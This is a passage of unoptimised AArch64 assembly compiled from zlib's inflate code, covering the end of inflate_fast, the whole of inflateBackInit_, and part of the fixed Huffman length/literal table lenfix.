ldr w0, [sp, 36]
cmp w1, w0
bcs .L1299
ldr w1, [sp, 36]
ldr w0, [sp, 32]
sub w0, w1, w0
str w0, [sp, 36]
.L1292:
ldr x0, [sp, 80]
add x0, x0, 1
str x0, [sp, 80]
ldr x0, [sp, 96]
add x0, x0, 1
str x0, [sp, 96]
ldr x0, [sp, 96]
ldrb w1, [x0]
ldr x0, [sp, 80]
strb w1, [x0]
ldr w0, [sp, 32]
sub w0, w0, #1
str w0, [sp, 32]
ldr w0, [sp, 32]
cmp w0, 0
beq .L1321
b .L1292
.L1321:
nop
ldr x0, [sp, 136]
sub x0, x0, #1
str x0, [sp, 96]
ldr w1, [sp, 56]
ldr w0, [sp, 36]
cmp w1, w0
bcs .L1299
ldr w0, [sp, 56]
str w0, [sp, 32]
ldr w1, [sp, 36]
ldr w0, [sp, 32]
sub w0, w1, w0
str w0, [sp, 36]
.L1295:
ldr x0, [sp, 80]
add x0, x0, 1
str x0, [sp, 80]
ldr x0, [sp, 96]
add x0, x0, 1
str x0, [sp, 96]
ldr x0, [sp, 96]
ldrb w1, [x0]
ldr x0, [sp, 80]
strb w1, [x0]
ldr w0, [sp, 32]
sub w0, w0, #1
str w0, [sp, 32]
ldr w0, [sp, 32]
cmp w0, 0
beq .L1322
b .L1295
.L1322:
nop
ldr w0, [sp, 68]
neg x0, x0
ldr x1, [sp, 80]
add x0, x1, x0
str x0, [sp, 96]
b .L1299
.L1289:
ldr w1, [sp, 56]
ldr w0, [sp, 32]
sub w0, w1, w0
uxtw x0, w0
ldr x1, [sp, 96]
add x0, x1, x0
str x0, [sp, 96]
ldr w1, [sp, 32]
ldr w0, [sp, 36]
cmp w1, w0
bcs .L1299
ldr w1, [sp, 36]
ldr w0, [sp, 32]
sub w0, w1, w0
str w0, [sp, 36]
.L1298:
ldr x0, [sp, 80]
add x0, x0, 1
str x0, [sp, 80]
ldr x0, [sp, 96]
add x0, x0, 1
str x0, [sp, 96]
ldr x0, [sp, 96]
ldrb w1, [x0]
ldr x0, [sp, 80]
strb w1, [x0]
ldr w0, [sp, 32]
sub w0, w0, #1
str w0, [sp, 32]
ldr w0, [sp, 32]
cmp w0, 0
beq .L1323
b .L1298
.L1323:
nop
ldr w0, [sp, 68]
neg x0, x0
ldr x1, [sp, 80]
add x0, x1, x0
str x0, [sp, 96]
b .L1299
.L1300:
ldr x0, [sp, 80]
add x0, x0, 1
str x0, [sp, 80]
ldr x0, [sp, 96]
add x0, x0, 1
str x0, [sp, 96]
ldr x0, [sp, 96]
ldrb w1, [x0]
ldr x0, [sp, 80]
strb w1, [x0]
ldr x0, [sp, 80]
add x0, x0, 1
str x0, [sp, 80]
ldr x0, [sp, 96]
add x0, x0, 1
str x0, [sp, 96]
ldr x0, [sp, 96]
ldrb w1, [x0]
ldr x0, [sp, 80]
strb w1, [x0]
ldr x0, [sp, 80]
add x0, x0, 1
str x0, [sp, 80]
ldr x0, [sp, 96]
add x0, x0, 1
str x0, [sp, 96]
ldr x0, [sp, 96]
ldrb w1, [x0]
ldr x0, [sp, 80]
strb w1, [x0]
ldr w0, [sp, 36]
sub w0, w0, #3
str w0, [sp, 36]
.L1299:
ldr w0, [sp, 36]
cmp w0, 2
bhi .L1300
ldr w0, [sp, 36]
cmp w0, 0
beq .L1273
ldr x0, [sp, 80]
add x0, x0, 1
str x0, [sp, 80]
ldr x0, [sp, 96]
add x0, x0, 1
str x0, [sp, 96]
ldr x0, [sp, 96]
ldrb w1, [x0]
ldr x0, [sp, 80]
strb w1, [x0]
ldr w0, [sp, 36]
cmp w0, 1
bls .L1273
ldr x0, [sp, 80]
add x0, x0, 1
str x0, [sp, 80]
ldr x0, [sp, 96]
add x0, x0, 1
str x0, [sp, 96]
ldr x0, [sp, 96]
ldrb w1, [x0]
ldr x0, [sp, 80]
strb w1, [x0]
b .L1273
.L1281:
ldr w0, [sp, 68]
neg x0, x0
ldr x1, [sp, 80]
add x0, x1, x0
str x0, [sp, 96]
.L1303:
ldr x0, [sp, 80]
add x0, x0, 1
str x0, [sp, 80]
ldr x0, [sp, 96]
add x0, x0, 1
str x0, [sp, 96]
ldr x0, [sp, 96]
ldrb w1, [x0]
ldr x0, [sp, 80]
strb w1, [x0]
ldr x0, [sp, 80]
add x0, x0, 1
str x0, [sp, 80]
ldr x0, [sp, 96]
add x0, x0, 1
str x0, [sp, 96]
ldr x0, [sp, 96]
ldrb w1, [x0]
ldr x0, [sp, 80]
strb w1, [x0]
ldr x0, [sp, 80]
add x0, x0, 1
str x0, [sp, 80]
ldr x0, [sp, 96]
add x0, x0, 1
str x0, [sp, 96]
ldr x0, [sp, 96]
ldrb w1, [x0]
ldr x0, [sp, 80]
strb w1, [x0]
ldr w0, [sp, 36]
sub w0, w0, #3
str w0, [sp, 36]
ldr w0, [sp, 36]
cmp w0, 2
bls .L1324
b .L1303
.L1324:
nop
ldr w0, [sp, 36]
cmp w0, 0
beq .L1273
ldr x0, [sp, 80]
add x0, x0, 1
str x0, [sp, 80]
ldr x0, [sp, 96]
add x0, x0, 1
str x0, [sp, 96]
ldr x0, [sp, 96]
ldrb w1, [x0]
ldr x0, [sp, 80]
strb w1, [x0]
ldr w0, [sp, 36]
cmp w0, 1
bls .L1273
ldr x0, [sp, 80]
add x0, x0, 1
str x0, [sp, 80]
ldr x0, [sp, 96]
add x0, x0, 1
str x0, [sp, 96]
ldr x0, [sp, 96]
ldrb w1, [x0]
ldr x0, [sp, 80]
strb w1, [x0]
b .L1273
.L1279:
ldr w0, [sp, 32]
and w0, w0, 64
cmp w0, 0
bne .L1304
ldrh w0, [sp, 26]
and x1, x0, 65535
ldr w0, [sp, 32]
mov w2, 1
lsl w0, w2, w0
sub w0, w0, #1
uxtw x2, w0
ldr x0, [sp, 88]
and x0, x2, x0
add x0, x1, x0
lsl x0, x0, 2
ldr x1, [sp, 152]
add x0, x1, x0
ldr w0, [x0]
str w0, [sp, 24]
b .L1278
.L1304:
ldr x0, [sp, 8]
adrp x1, .LC33
add x1, x1, :lo12:.LC33
str x1, [x0, 48]
ldr x0, [sp, 104]
mov w1, 29
str w1, [x0]
b .L1283
.L1274:
ldr w0, [sp, 32]
and w0, w0, 64
cmp w0, 0
bne .L1305
ldrh w0, [sp, 26]
and x1, x0, 65535
ldr w0, [sp, 32]
mov w2, 1
lsl w0, w2, w0
sub w0, w0, #1
uxtw x2, w0
ldr x0, [sp, 88]
and x0, x2, x0
add x0, x1, x0
lsl x0, x0, 2
ldr x1, [sp, 144]
add x0, x1, x0
ldr w0, [x0]
str w0, [sp, 24]
b .L1271
.L1305:
ldr w0, [sp, 32]
and w0, w0, 32
cmp w0, 0
beq .L1306
ldr x0, [sp, 104]
mov w1, 11
str w1, [x0]
b .L1283
.L1306:
ldr x0, [sp, 8]
adrp x1, .LC32
add x1, x1, :lo12:.LC32
str x1, [x0, 48]
ldr x0, [sp, 104]
mov w1, 29
str w1, [x0]
b .L1283
.L1273:
ldr x1, [sp, 72]
ldr x0, [sp, 112]
cmp x1, x0
bcs .L1325
ldr x1, [sp, 80]
ldr x0, [sp, 128]
cmp x1, x0
bcs .L1326
b .L1309
.L1325:
nop
b .L1283
.L1326:
nop
.L1283:
ldr w0, [sp, 28]
lsr w0, w0, 3
str w0, [sp, 36]
ldr w0, [sp, 36]
neg x0, x0
ldr x1, [sp, 72]
add x0, x1, x0
str x0, [sp, 72]
ldr w0, [sp, 36]
lsl w0, w0, 3
ldr w1, [sp, 28]
sub w0, w1, w0
str w0, [sp, 28]
ldr w0, [sp, 28]
mov w1, 1
lsl w0, w1, w0
sub w0, w0, #1
uxtw x0, w0
ldr x1, [sp, 88]
and x0, x1, x0
str x0, [sp, 88]
ldr x0, [sp, 72]
add x1, x0, 1
ldr x0, [sp, 8]
str x1, [x0]
ldr x0, [sp, 80]
add x1, x0, 1
ldr x0, [sp, 8]
str x1, [x0, 24]
ldr x1, [sp, 72]
ldr x0, [sp, 112]
cmp x1, x0
bcs .L1310
ldr x1, [sp, 112]
ldr x0, [sp, 72]
sub x0, x1, x0
add w0, w0, 5
str w0, [sp, 40]
b .L1311
.L1310:
ldr x1, [sp, 72]
ldr x0, [sp, 112]
sub x0, x1, x0
mov w1, w0
mov w0, 5
sub w0, w0, w1
str w0, [sp, 40]
.L1311:
ldr w1, [sp, 40]
ldr x0, [sp, 8]
str w1, [x0, 8]
ldr x1, [sp, 80]
ldr x0, [sp, 128]
cmp x1, x0
bcs .L1312
ldr x1, [sp, 128]
ldr x0, [sp, 80]
sub x0, x1, x0
add w0, w0, 257
str w0, [sp, 44]
b .L1313
.L1312:
ldr x1, [sp, 80]
ldr x0, [sp, 128]
sub x0, x1, x0
mov w1, w0
mov w0, 257
sub w0, w0, w1
str w0, [sp, 44]
.L1313:
ldr w1, [sp, 44]
ldr x0, [sp, 8]
str w1, [x0, 32]
ldr x0, [sp, 104]
ldr x1, [sp, 88]
str x1, [x0, 72]
ldr x0, [sp, 104]
ldr w1, [sp, 28]
str w1, [x0, 80]
nop
add sp, sp, 160
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE91:
.size inflate_fast, .-inflate_fast
.align 2
.global inflateBackInit_
.type inflateBackInit_, %function
inflateBackInit_:
.LFB92:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 40]
str w1, [sp, 36]
str x2, [sp, 24]
str x3, [sp, 16]
str w4, [sp, 32]
ldr x0, [sp, 16]
cmp x0, 0
bne .L1328
mov w0, -6
str w0, [sp, 52]
b .L1329
.L1328:
ldr x0, [sp, 16]
ldrb w1, [x0]
mov w0, 49
cmp w1, w0
beq .L1330
mov w0, -6
str w0, [sp, 52]
b .L1329
.L1330:
ldr w0, [sp, 32]
cmp w0, 112
beq .L1331
mov w0, -6
str w0, [sp, 52]
b .L1329
.L1331:
ldr x0, [sp, 40]
cmp x0, 0
bne .L1332
mov w0, -2
str w0, [sp, 52]
b .L1329
.L1332:
ldr x0, [sp, 24]
cmp x0, 0
bne .L1333
mov w0, -2
str w0, [sp, 52]
b .L1329
.L1333:
ldr w0, [sp, 36]
cmp w0, 7
bgt .L1334
mov w0, -2
str w0, [sp, 52]
b .L1329
.L1334:
ldr w0, [sp, 36]
cmp w0, 15
ble .L1335
mov w0, -2
str w0, [sp, 52]
b .L1329
.L1335:
ldr x0, [sp, 40]
str xzr, [x0, 48]
ldr x0, [sp, 40]
ldr x0, [x0, 64]
cmp x0, 0
bne .L1336
ldr x0, [sp, 40]
adrp x1, zcalloc
add x1, x1, :lo12:zcalloc
str x1, [x0, 64]
ldr x0, [sp, 40]
str xzr, [x0, 80]
.L1336:
ldr x0, [sp, 40]
ldr x0, [x0, 72]
cmp x0, 0
bne .L1337
ldr x0, [sp, 40]
adrp x1, zcfree
add x1, x1, :lo12:zcfree
str x1, [x0, 72]
.L1337:
ldr x0, [sp, 40]
ldr x3, [x0, 64]
ldr x0, [sp, 40]
ldr x0, [x0, 80]
mov w2, 7152
mov w1, 1
blr x3
str x0, [sp, 56]
ldr x0, [sp, 56]
cmp x0, 0
bne .L1338
mov w0, -4
str w0, [sp, 52]
b .L1329
.L1338:
ldr x0, [sp, 40]
ldr x1, [sp, 56]
str x1, [x0, 56]
ldr x0, [sp, 56]
mov w1, 32768
str w1, [x0, 20]
ldr w1, [sp, 36]
ldr x0, [sp, 56]
str w1, [x0, 48]
ldr w0, [sp, 36]
mov w1, 1
lsl w1, w1, w0
ldr x0, [sp, 56]
str w1, [x0, 52]
ldr x0, [sp, 56]
ldr x1, [sp, 24]
str x1, [x0, 64]
ldr x0, [sp, 56]
str wzr, [x0, 60]
ldr x0, [sp, 56]
str wzr, [x0, 56]
str wzr, [sp, 52]
.L1329:
ldr w0, [sp, 52]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE92:
.size inflateBackInit_, .-inflateBackInit_
.section .rodata
.align 3
.type lenfix_0, %object
.size lenfix_0, 2048
lenfix_0:
.byte 96
.byte 7
.hword 0
.byte 0
.byte 8
.hword 80
.byte 0
.byte 8
.hword 16
.byte 20
.byte 8
.hword 115
.byte 18
.byte 7
.hword 31
.byte 0
.byte 8
.hword 112
.byte 0
.byte 8
.hword 48
.byte 0
.byte 9
.hword 192
.byte 16
.byte 7
.hword 10
.byte 0
.byte 8
.hword 96
.byte 0
.byte 8
.hword 32
.byte 0
.byte 9
.hword 160
.byte 0
.byte 8
.hword 0
.byte 0
.byte 8
.hword 128
.byte 0
.byte 8
.hword 64
.byte 0
.byte 9
.hword 224
.byte 16
.byte 7
.hword 6
.byte 0
.byte 8
.hword 88
.byte 0
.byte 8
.hword 24
.byte 0
.byte 9
.hword 144
.byte 19
.byte 7
.hword 59
.byte 0
.byte 8
.hword 120
.byte 0
.byte 8
.hword 56
.byte 0
.byte 9
.hword 208
.byte 17
.byte 7
.hword 17
.byte 0
.byte 8
.hword 104
.byte 0
.byte 8
.hword 40
.byte 0
.byte 9
.hword 176
.byte 0
.byte 8
.hword 8
.byte 0
.byte 8
.hword 136
.byte 0
.byte 8
.hword 72
.byte 0
.byte 9
.hword 240
.byte 16
.byte 7
.hword 4
.byte 0
.byte 8
.hword 84
.byte 0
.byte 8
.hword 20
.byte 21
.byte 8
.hword 227
.byte 19
.byte 7
.hword 43
.byte 0
.byte 8
.hword 116
.byte 0
.byte 8
.hword 52
.byte 0
.byte 9
.hword 200
.byte 17
.byte 7
.hword 13
.byte 0
.byte 8
.hword 100
.byte 0
.byte 8
.hword 36
.byte 0
.byte 9
.hword 168
.byte 0
.byte 8
.hword 4
.byte 0
.byte 8
.hword 132
.byte 0
.byte 8
.hword 68
.byte 0
.byte 9
.hword 232
.byte 16
.byte 7
.hword 8
.byte 0
.byte 8
.hword 92
.byte 0
.byte 8
.hword 28
.byte 0
.byte 9
.hword 152
.byte 20
.byte 7
.hword 83
.byte 0
.byte 8
.hword 124
.byte 0
.byte 8
.hword 60
.byte 0
.byte 9
.hword 216
.byte 18
.byte 7
.hword 23
.byte 0
.byte 8
.hword 108
.byte 0
.byte 8
.hword 44
.byte 0
.byte 9
.hword 184
.byte 0
.byte 8
.hword 12
.byte 0
.byte 8
.hword 140
.byte 0
.byte 8
.hword 76
.byte 0
.byte 9
.hword 248
.byte 16
.byte 7
.hword 3
.byte 0
.byte 8
.hword 82
.byte 0
.byte 8
.hword 18
.byte 21
.byte 8
.hword 163
.byte 19
.byte 7
.hword 35
.byte 0
.byte 8
.hword 114
.byte 0
.byte 8
.hword 50
.byte 0
.byte 9
.hword 196
.byte 17
.byte 7
.hword 11
.byte 0
.byte 8
.hword 98
.byte 0
.byte 8
.hword 34
.byte 0
.byte 9
.hword 164
.byte 0
.byte 8
.hword 2
.byte 0
.byte 8
.hword 130
.byte 0
.byte 8
.hword 66
.byte 0
.byte 9
.hword 228
.byte 16
.byte 7
.hword 7
.byte 0
.byte 8
.hword 90
.byte 0
.byte 8
.hword 26
.byte 0
.byte 9
.hword 148
.byte 20
.byte 7
.hword 67
.byte 0
.byte 8
.hword 122
.byte 0
.byte 8
.hword 58
.byte 0
.byte 9
.hword 212
.byte 18
.byte 7
.hword 19
.byte 0
.byte 8
.hword 106
.byte 0
.byte 8
.hword 42
.byte 0
.byte 9
.hword 180
.byte 0
.byte 8
.hword 10
.byte 0
.byte 8
.hword 138
.byte 0
.byte 8
.hword 74
.byte 0
.byte 9
.hword 244
.byte 16
.byte 7
.hword 5
.byte 0
.byte 8
.hword 86
.byte 0
.byte 8
.hword 22
.byte 64
.byte 8
.hword 0
.byte 19
.byte 7
.hword 51
.byte 0
.byte 8
.hword 118
.byte 0
.byte 8
.hword 54
.byte 0
.byte 9
.hword 204
.byte 17
.byte 7
.hword 15
.byte 0
.byte 8
.hword 102
.byte 0
.byte 8
.hword 38
.byte 0
.byte 9
.hword 172
.byte 0
.byte 8
.hword 6
.byte 0
.byte 8
.hword 134
.byte 0
.byte 8
.hword 70
.byte 0
.byte 9
.hword 236
.byte 16
.byte 7
.hword 9
.byte 0
.byte 8
.hword 94
.byte 0
.byte 8
.hword 30
.byte 0
.byte 9
.hword 156
.byte 20
.byte 7
.hword 99
.byte 0
.byte 8
.hword 126
.byte 0
.byte 8
.hword 62
.byte 0
.byte 9
.hword 220
.byte 18
.byte 7
.hword 27
.byte 0
.byte 8
.hword 110
.byte 0
.byte 8
.hword 46
.byte 0
.byte 9
.hword 188
.byte 0
.byte 8
.hword 14
.byte 0
.byte 8
.hword 142
.byte 0
.byte 8
.hword 78
.byte 0
.byte 9
.hword 252
.byte 96
.byte 7
.hword 0
.byte 0
.byte 8
.hword 81
.byte 0
.byte 8
.hword 17
.byte 21
.byte 8
.hword 131
.byte 18
.byte 7
.hword 31
.byte 0
.byte 8
.hword 113
.byte 0
.byte 8
.hword 49
.byte 0
.byte 9
.hword 194
.byte 16
.byte 7
.hword 10
.byte 0
.byte 8
.hword 97
.byte 0
.byte 8
.hword 33
.byte 0
.byte 9
.hword 162
.byte 0
.byte 8
.hword 1
.byte 0
.byte 8
.hword 129
.byte 0
.byte 8
.hword 65
.byte 0
.byte 9
.hword 226
.byte 16
.byte 7
.hword 6
.byte 0
.byte 8
.hword 89
.byte 0
.byte 8
.hword 25
.byte 0
.byte 9
.hword 146
.byte 19
.byte 7
.hword 59
.byte 0
.byte 8
.hword 121
.byte 0
.byte 8
.hword 57
.byte 0
.byte 9
.hword 210
.byte 17
.byte 7
.hword 17
.byte 0
.byte 8
.hword 105
.byte 0
.byte 8
.hword 41
.byte 0
.byte 9
.hword 178
.byte 0
.byte 8
.hword 9
.byte 0
.byte 8
.hword 137
.byte 0
.byte 8
.hword 73
.byte 0
.byte 9
.hword 242
.byte 16
.byte 7
.hword 4
.byte 0
.byte 8
.hword 85
.byte 0
.byte 8
.hword 21
.byte 16
.byte 8
.hword 258
.byte 19
.byte 7
.hword 43
.byte 0
.byte 8
.hword 117
.byte 0
.byte 8
.hword 53
.byte 0
.byte 9
.hword 202
.byte 17
.byte 7
.hword 13
.byte 0
.byte 8
.hword 101
.byte 0
.byte 8
.hword 37
.byte 0
.byte 9
.hword 170
.byte 0
.byte 8
.hword 5
.byte 0
.byte 8
.hword 133
.byte 0
.byte 8
.hword 69
.byte 0
.byte 9
.hword 234
.byte 16
.byte 7
.hword 8
.byte 0
.byte 8
.hword 93
.byte 0
.byte 8
.hword 29
.byte 0
.byte 9
.hword 154
.byte 20
.byte 7
.hword 83
.byte 0
.byte 8
.hword 125
.byte 0
.byte 8
.hword 61
.byte 0
.byte 9
.hword 218
.byte 18
.byte 7
.hword 23
.byte 0
.byte 8
.hword 109
.byte 0
.byte 8
.hword 45
.byte 0
.byte 9
.hword 186
.byte 0
.byte 8
.hword 13
.byte 0
.byte 8
.hword 141
.byte 0
.byte 8
.hword 77
.byte 0
.byte 9
.hword 250
.byte 16
.byte 7
.hword 3
.byte 0
.byte 8
.hword 83
.byte 0
.byte 8
.hword 19
.byte 21
.byte 8
.hword 195
.byte 19
.byte 7
.hword 35
.byte 0
.byte 8
.hword 115
.byte 0
.byte 8
.hword 51
.byte 0
.byte 9
.hword 198
.byte 17
.byte 7
.hword 11
.byte 0
.byte 8
.hword 99
.byte 0
.byte 8
.hword 35
.byte 0
.byte 9
.hword 166
.byte 0
.byte 8
.hword 3
.byte 0
.byte 8
.hword 131
.byte 0
.byte 8
.hword 67
.byte 0
.byte 9
.hword 230
.byte 16
.byte 7
.hword 7
.byte 0
.byte 8
.hword 91
.byte 0
.byte 8
.hword 27
.byte 0
.byte 9
.hword 150
.byte 20
.byte 7
.hword 67
.byte 0
.byte 8
.hword 123
.byte 0
.byte 8
.hword 59
.byte 0
.byte 9
.hword 214
.byte 18
.byte 7
.hword 19
.byte 0
.byte 8
.hword 107
.byte 0
.byte 8
.hword 43
.byte 0
.byte 9
.hword 182
.byte 0
.byte 8
.hword 11
.byte 0
.byte 8
.hword 139
.byte 0
.byte 8
.hword 75
.byte 0
.byte 9
.hword 246
.byte 16
.byte 7
.hword 5
.byte 0
.byte 8
.hword 87
.byte 0
.byte 8
.hword 23
.byte 64
.byte 8
.hword 0
.byte 19
.byte 7
.hword 51
.byte 0
.byte 8
.hword 119
.byte 0
.byte 8
.hword 55
.byte 0
.byte 9
.hword 206
.byte 17
.byte 7
.hword 15
.byte 0
.byte 8
.hword 103
.byte 0
.byte 8
.hword 39
.byte 0
.byte 9
.hword 174
.byte 0
.byte 8
.hword 7
.byte 0
.byte 8
.hword 135
.byte 0
.byte 8
.hword 71
.byte 0
.byte 9
.hword 238
.byte 16
.byte 7
.hword 9
.byte 0
.byte 8
.hword 95
.byte 0
.byte 8
.hword 31
.byte 0
.byte 9
.hword 158
.byte 20
.byte 7
.hword 99
.byte 0
.byte 8
.hword 127
.byte 0
.byte 8
.hword 63
.byte 0
.byte 9
.hword 222
.byte 18
.byte 7
.hword 27
.byte 0
.byte 8
.hword 111
.byte 0
.byte 8
.hword 47
.byte 0
.byte 9
.hword 190
.byte 0
.byte 8
.hword 15
.byte 0
.byte 8
.hword 143
.byte 0
.byte 8
.hword 79
.byte 0
.byte 9
.hword 254
.byte 96
.byte 7
.hword 0
.byte 0
.byte 8
.hword 80
.byte 0
.byte 8
.hword 16
.byte 20
.byte 8
.hword 115
.byte 18
.byte 7
.hword 31
.byte 0
.byte 8
.hword 112
.byte 0
.byte 8
.hword 48
.byte 0
.byte 9
.hword 193
.byte 16
.byte 7
.hword 10
.byte 0
.byte 8
.hword 96
.byte 0
.byte 8
.hword 32
.byte 0
.byte 9
.hword 161
.byte 0
.byte 8
.hword 0
.byte 0
.byte 8
.hword 128
.byte 0
.byte 8
.hword 64
.byte 0
.byte 9
.hword 225
.byte 16
.byte 7
.hword 6
.byte 0
.byte 8
.hword 88
.byte 0
.byte 8
.hword 24
.byte 0
.byte 9
.hword 145
.byte 19
.byte 7
.hword 59
.byte 0
.byte 8
.hword 120
.byte 0
.byte 8
.hword 56
.byte 0
.byte 9
.hword 209
.byte 17
.byte 7
.hword 17
.byte 0
.byte 8
.hword 104
.byte 0
.byte 8
.hword 40
.byte 0
.byte 9
.hword 177
.byte 0
.byte 8
.hword 8
.byte 0
.byte 8
.hword 136
.byte 0
.byte 8
.hword 72
.byte 0
.byte 9
.hword 241
.byte 16
.byte 7
.hword 4
.byte 0
.byte 8
.hword 84
.byte 0
.byte 8
.hword 20
.byte 21
.byte 8
.hword 227
.byte 19
.byte 7
.hword 43
.byte 0
.byte 8
.hword 116
.byte 0
.byte 8
.hword 52
.byte 0
.byte 9
.hword 201
.byte 17
.byte 7
.hword 13
.byte 0
.byte 8
.hword 100
.byte 0
.byte 8
.hword 36
.byte 0
.byte 9
.hword 169
.byte 0
.byte 8
.hword 4
.byte 0
.byte 8
.hword 132
.byte 0
.byte 8
.hword 68
.byte 0
.byte 9
.hword 233
.byte 16
.byte 7
.hword 8
.byte 0
.byte 8
.hword 92
.byte 0
.byte 8
.hword 28
.byte 0
.byte 9
.hword 153
.byte 20
.byte 7
.hword 83
.byte 0
.byte 8
.hword 124
.byte 0
.byte 8
.hword 60
.byte 0
.byte 9
.hword 217
.byte 18
.byte 7
.hword 23
.byte 0
.byte 8
.hword 108
.byte 0
.byte 8
.hword 44
.byte 0
.byte 9
.hword 185
.byte 0
.byte 8
.hword 12
.byte 0
.byte 8
.hword 140
.byte 0
.byte 8
.hword 76
.byte 0
.byte 9
.hword 249
.byte 16
.byte 7
.hword 3
.byte 0
.byte 8
.hword 82
.byte 0
.byte 8
.hword 18
.byte 21
.byte 8
.hword 163
.byte 19
.byte 7
.hword 35
.byte 0
.byte 8
.hword 114
.byte 0
.byte 8
.hword 50
.byte 0
.byte 9
.hword 197
.byte 17
.byte 7
.hword 11
.byte 0
.byte 8
.hword 98
.byte 0
.byte 8
.hword 34
.byte 0
.byte 9
.hword 165
.byte 0
.byte 8
.hword 2
.byte 0
.byte 8
.hword 130
.byte 0
.byte 8
.hword 66
.byte 0
.byte 9
.hword 229
.byte 16
.byte 7
.hword 7
.byte 0
.byte 8
.hword 90
.byte 0
.byte 8
.hword 26
.byte 0
.byte 9
.hword 149
.byte 20
.byte 7
.hword 67
.byte 0
.byte 8
.hword 122
.byte 0
.byte 8
.hword 58
.byte 0
.byte 9
.hword 213
.byte 18
.byte 7
.hword 19
.byte 0
.byte 8
.hword 106
.byte 0
.byte 8
.hword 42
.byte 0
.byte 9
.hword 181
.byte 0
.byte 8
.hword 10
.byte 0
.byte 8
.hword 138
.byte 0
.byte 8
.hword 74
.byte 0
.byte 9
.hword 245
.byte 16
.byte 7
.hword 5
.byte 0
.byte 8
.hword 86
.byte 0
.byte 8
.hword 22
.byte 64
.byte 8
.hword 0
.byte 19
.byte 7
.hword 51
.byte 0
.byte 8
.hword 118
.byte 0
.byte 8
.hword 54
.byte 0
.byte 9
.hword 205
.byte 17
.byte 7
.hword 15
.byte 0
.byte 8
.hword 102
.byte 0
.byte 8
.hword 38
.byte 0
.byte 9
.hword 173
.byte 0
.byte 8
.hword 6
.byte 0
.byte 8
.hword 134
.byte 0
.byte 8
.hword 70
.byte 0
.byte 9
.hword 237
.byte 16
.byte 7
.hword 9
.byte 0
.byte 8
.hword 94
.byte 0
.byte 8
.hword 30
.byte 0
.byte 9
.hword 157
.byte 20
.byte 7
.hword 99
.byte 0
.byte 8
.hword 126
.byte 0
.byte 8
.hword 62
.byte 0
.byte 9
.hword 221
.byte 18
.byte 7
.hword 27
.byte 0
.byte 8
.hword 110
.byte 0
.byte 8
.hword 46
.byte 0
.byte 9
.hword 189
.byte 0
.byte 8
.hword 14
.byte 0
.byte 8
.hword 142
.byte 0
.byte 8
.hword 78
.byte 0
.byte 9
.hword 253
.byte 96
.byte 7
.hword 0
.byte 0
.byte 8
.hword 81
.byte 0
.byte 8
.hword 17
.byte 21
.byte 8
.hword 131
.byte 18
.byte 7
.hword 31
.byte 0
.byte 8
.hword 113
.byte 0
.byte 8
.hword 49
.byte 0
.byte 9
.hword 195
.byte 16
.byte 7
.hword 10
.byte 0
.byte 8
.hword 97
.byte 0
.byte 8
.hword 33
.byte 0
.byte 9
.hword 163
.byte 0
.byte 8
.hword 1
.byte 0
.byte 8
.hword 129
.byte 0
.byte 8
.hword 65
.byte 0
.byte 9
.hword 227
.byte 16
.byte 7
.hword 6
.byte 0
.byte 8
.hword 89
.byte 0
.byte 8
.hword 25
.byte 0
.byte 9
.hword 147
.byte 19
.byte 7
.hword 59
.byte 0
.byte 8
.hword 121
.byte 0
.byte 8
.hword 57
.byte 0
.byte 9
.hword 211
.byte 17
.byte 7
.hword 17
.byte 0
.byte 8
.hword 105
.byte 0
.byte 8
.hword 41
.byte 0
.byte 9
.hword 179
.byte 0
.byte 8
.hword 9
.byte 0
.byte 8
.hword 137
.byte 0
.byte 8
.hword 73
.byte 0
.byte 9
.hword 243
.byte 16
.byte 7
.hword 4
.byte 0
.byte 8
.hword 85
.byte 0
.byte 8
.hword 21
.byte 16
.byte 8
.hword 258
.byte 19
.byte 7
.hword 43
.byte 0
.byte 8
.hword 117
.byte 0
.byte 8
.hword 53
.byte 0
.byte 9
.hword 203
.byte 17
.byte 7
.hword 13
.byte 0
.byte 8
.hword 101
.byte 0
.byte 8
.hword 37
.byte 0
.byte 9
.hword 171
.byte 0
.byte 8
.hword 5
.byte 0
.byte 8
.hword 133
.byte 0
.byte 8
.hword 69
.byte 0
.byte 9
.hword 235
.byte 16
.byte 7
.hword 8
.byte 0
.byte 8
.hword 93
.byte 0
.byte 8
.hword 29
.byte 0
.byte 9
.hword 155
.byte 20
.byte 7
.hword 83
.byte 0
.byte 8
.hword 125
.byte 0
.byte 8
.hword 61
.byte 0
.byte 9
.hword 219
.byte 18
.byte 7
.hword 23
.byte 0
.byte 8
.hword 109
.byte 0
.byte 8
.hword 45
.byte 0
.byte 9
.hword 187
.byte 0
.byte 8
.hword 13
.byte 0
.byte 8
.hword 141
.byte 0
.byte 8
.hword 77
.byte 0
.byte 9
.hword 251
.byte 16
.byte 7
.hword 3
.byte 0
.byte 8
.hword 83
.byte 0
.byte 8
.hword 19
.byte 21
.byte 8
.hword 195
.byte 19
.byte 7
.hword 35
.byte 0
.byte 8
.hword 115
.byte 0
.byte 8
.hword 51
.byte 0
.byte 9
.hword 199
.byte 17
.byte 7
.hword 11
.byte 0
.byte 8
.hword 99
.byte 0
.byte 8
.hword 35
.byte 0
.byte 9
.hword 167
.byte 0
.byte 8
.hword 3
.byte 0
.byte 8
.hword 131
.byte 0
.byte 8
.hword 67
.byte 0
.byte 9
.hword 231
.byte 16
.byte 7
.hword 7
.byte 0
.byte 8
.hword 91
.byte 0
.byte 8
.hword 27
.byte 0
.byte 9
.hword 151
.byte 20
.byte 7
.hword 67
.byte 0
.byte 8
.hword 123
.byte 0
.byte 8
.hword 59
.byte 0
.byte 9
.hword 215
.byte 18
.byte 7
.hword 19
.byte 0
.byte 8
.hword 107
.byte 0
.byte 8
.hword 43
.byte 0
.byte 9
.hword 183
.byte 0
.byte 8
.hword 11
.byte 0
.byte 8
.hword 139
.byte 0
.byte 8
.hword 75
.byte 0
.byte 9
.hword 247
.byte 16
.byte 7
.hword 5
.byte 0
.byte 8
.hword 87
.byte 0
.byte 8
.hword 23
.byte 64
.byte 8
.hword 0
.byte 19
.byte 7
.hword 51
.byte 0
.byte 8
.hword 119
.byte 0
.byte 8
.hword 55
.byte 0
.byte 9
.hword 207
.byte 17
.byte 7
.hword 15
.byte 0
.byte 8
.hword 103
.byte 0
.byte 8
.hword 39
.byte 0
.byte 9
.hword 175
.byte 0
.byte 8
.hword 7
.byte 0
.byte 8
.hword 135
.byte 0
